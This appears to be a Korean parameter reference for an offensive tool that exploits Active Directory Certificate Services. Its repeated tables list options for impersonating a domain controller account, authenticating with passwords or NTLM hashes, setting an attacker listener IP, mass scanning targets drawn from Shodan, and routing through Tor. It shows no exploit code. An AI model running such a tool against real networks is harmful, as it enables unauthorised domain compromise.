--target-san๊ฐ€์žฅํ•  ์ปดํ“จํ„ฐ ๊ณ„์ • (์˜ˆ: DC01$)--target-san DC01$
--template์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ (๊ธฐ๋ณธ๊ฐ’: Machine)--template Machine
--computer-name๊ธฐ์กด ์ปดํ“จํ„ฐ ๊ณ„์ • ์ด๋ฆ„ ($ ํฌํ•จ)--computer-name GHOSTABCD$
--computer-pass๊ธฐ์กด ์ปดํ“จํ„ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ--computer-pass CGabc123...
--computer-hash๊ธฐ์กด ์ปดํ“จํ„ฐ NT ํ•ด์‹œ--computer-hash 8846f7ea...
--use-ldapLDAPS(636) ๋Œ€์‹  LDAP(389) ์‚ฌ์šฉ--use-ldap
--exploit์ต์Šคํ”Œ๋กœ์ž‡ ์ˆ˜ํ–‰--exploit
--detectํƒ์ง€๋งŒ ์ˆ˜ํ–‰ (์ต์Šคํ”Œ๋กœ์ž‡ ์—†์Œ)--detect
-t, --threads๋Œ€๋Ÿ‰ ์Šค์บ”์šฉ ์ตœ๋Œ€ ์Šค๋ ˆ๋“œ ์ˆ˜-t 10
--timeout์š”์ฒญ๋‹น ์‹œ๊ฐ„ ์ดˆ๊ณผ (์ดˆ)--timeout 10
--retry์‹คํŒจ ์‹œ ์žฌ์‹œ๋„ ํšŸ์ˆ˜--retry 3
--delay์š”์ฒญ ๊ฐ„ ๊ธฐ๋ณธ ์ง€์—ฐ--delay 1.0
--proxyํ”„๋ก์‹œ URL--proxy http://127.0.0.1:8080
--no-verifySSL ๊ฒ€์ฆ ๋น„ํ™œ์„ฑํ™”--no-verify
--torTor ํ”„๋ก์‹œ ์‚ฌ์šฉ (socks5h://127.0.0.1:9050)--tor
-o, --output์ถœ๋ ฅ ํŒŒ์ผ (.json, .csv, .jsonl)-o results.json
-v, --verbose์ƒ์„ธ ์ถœ๋ ฅ-v
-q, --quiet์กฐ์šฉํ•œ ๋ชจ๋“œ-q
-h, --help๋„์›€๋ง ํ‘œ์‹œ-h
๋งค๊ฐœ๋ณ€์ˆ˜์„ค๋ช…์˜ˆ์‹œ
-t, --target๋Œ€์ƒ CA IP ๋˜๋Š” ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ (ํ•„์ˆ˜)-t 192.168.1.20
-d, --domain๋Œ€์ƒ ๋„๋ฉ”์ธ DNS ์ด๋ฆ„ (ํ•„์ˆ˜)-d playground.local
--dc-ip๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ IP (ํ•„์ˆ˜)--dc-ip 192.168.1.10
-u, --username๋‚ฎ์€ ๊ถŒํ•œ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž (ํ•„์ˆ˜)-u lowpriv
-p, --password์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ-p Password123
-H, --hashesNTLM ํ•ด์‹œ [LM:]NT-H :8846f7eaee8fb117ad06bdd830b7586c
--computer-name๊ธฐ์กด ์ปดํ“จํ„ฐ ๊ณ„์ • ์ด๋ฆ„ ($ ํฌํ•จ)--computer-name GHOSTABCD$
--computer-pass๊ธฐ์กด ์ปดํ“จํ„ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ--computer-pass CGabc123...
--computer-hash๊ธฐ์กด ์ปดํ“จํ„ฐ NT ํ•ด์‹œ--computer-hash 8846f7ea...
--target-account๊ฐ€์žฅํ•  ๊ณ„์ • (์˜ˆ: DC01$)--target-account DC01$
--template์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ (๊ธฐ๋ณธ๊ฐ’: Machine)--template Machine
--listener๋กœ๊ทธ ์„œ๋ฒ„์šฉ ๊ณต๊ฒฉ์ž IP (์„ค์ •ํ•˜์ง€ ์•Š์œผ๋ฉด ์ž๋™ ๊ฐ์ง€)--listener 192.168.1.100
--use-ldapLDAPS(636) ๋Œ€์‹  LDAP(389) ์‚ฌ์šฉ--use-ldap
--keep-files.pfx ๋ฐ .ccache ํŒŒ์ผ ์œ ์ง€ (๊ธฐ๋ณธ๊ฐ’: ์‚ญ์ œ)--keep-files
-h, --help๋„์›€๋ง ํ‘œ์‹œ-h
๋งค๊ฐœ๋ณ€์ˆ˜์„ค๋ช…์˜ˆ์‹œ
-u, --url๋Œ€์ƒ CA IP ๋˜๋Š” ํ˜ธ์ŠคํŠธ ์ด๋ฆ„-u 192.168.1.20
-l, --list๋Œ€์ƒ ๋ชฉ๋ก์ด ํฌํ•จ๋œ ํŒŒ์ผ (์ค„๋‹น ํ•˜๋‚˜)-l targets.txt
--shodanShodan์—์„œ ๋Œ€์ƒ ๋กœ๋“œ--shodan
--shodan-queryShodan ๊ฒ€์ƒ‰ ์ฟผ๋ฆฌ--shodan-query "AD CS Certificate"
-d, --domain๋Œ€์ƒ ๋„๋ฉ”์ธ DNS ์ด๋ฆ„ (ํ•„์ˆ˜)-d playground.local
--dc-ip๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ IP (ํ•„์ˆ˜)--dc-ip 192.168.1.10
--username๋‚ฎ์€ ๊ถŒํ•œ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž (ํ•„์ˆ˜)--username lowpriv
-p, --password์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ-p Password123
-H, --hashesNTLM ํ•ด์‹œ [LM:]NT-H :8846f7ea...
--computer-name๊ธฐ์กด ์ปดํ“จํ„ฐ ๊ณ„์ • ์ด๋ฆ„ ($ ํฌํ•จ)--computer-name GHOSTABCD$
--computer-pass๊ธฐ์กด ์ปดํ“จํ„ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ--computer-pass CGabc123...
--computer-hash๊ธฐ์กด ์ปดํ“จํ„ฐ NT ํ•ด์‹œ--computer-hash 8846f7ea...
--target-account๊ฐ€์žฅํ•  ๊ณ„์ • (์˜ˆ: DC01$)--target-account DC01$
--template์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ (๊ธฐ๋ณธ๊ฐ’: Machine)--template Machine
--listener๋กœ๊ทธ ์„œ๋ฒ„์šฉ ๊ณต๊ฒฉ์ž IP--listener 192.168.1.100
--use-ldapLDAPS(636) ๋Œ€์‹  LDAP(389) ์‚ฌ์šฉ--use-ldap
--exploit์ต์Šคํ”Œ๋กœ์ž‡ ์ˆ˜ํ–‰--exploit
--detectํƒ์ง€๋งŒ ์ˆ˜ํ–‰ (์ต์Šคํ”Œ๋กœ์ž‡ ์—†์Œ)--detect
-t, --threads๋Œ€๋Ÿ‰ ์Šค์บ”์šฉ ์ตœ๋Œ€ ์Šค๋ ˆ๋“œ ์ˆ˜-t 10
--timeout์š”์ฒญ๋‹น ์‹œ๊ฐ„ ์ดˆ๊ณผ (์ดˆ)--timeout 10
--retry์‹คํŒจ ์‹œ ์žฌ์‹œ๋„ ํšŸ์ˆ˜--retry 3
--delay์š”์ฒญ ๊ฐ„ ๊ธฐ๋ณธ ์ง€์—ฐ--delay 1.0
--proxyํ”„๋ก์‹œ URL--proxy http://127.0.0.1:8080
--no-verifySSL ๊ฒ€์ฆ ๋น„ํ™œ์„ฑํ™”--no-verify
--torTor ํ”„๋ก์‹œ ์‚ฌ์šฉ--tor
-o, --output์ถœ๋ ฅ ํŒŒ์ผ (.json, .csv, .jsonl)-o results.json
-v, --verbose์ƒ์„ธ ์ถœ๋ ฅ-v
-q, --quiet์กฐ์šฉํ•œ ๋ชจ๋“œ-q
-h, --help๋„์›€๋ง ํ‘œ์‹œ-h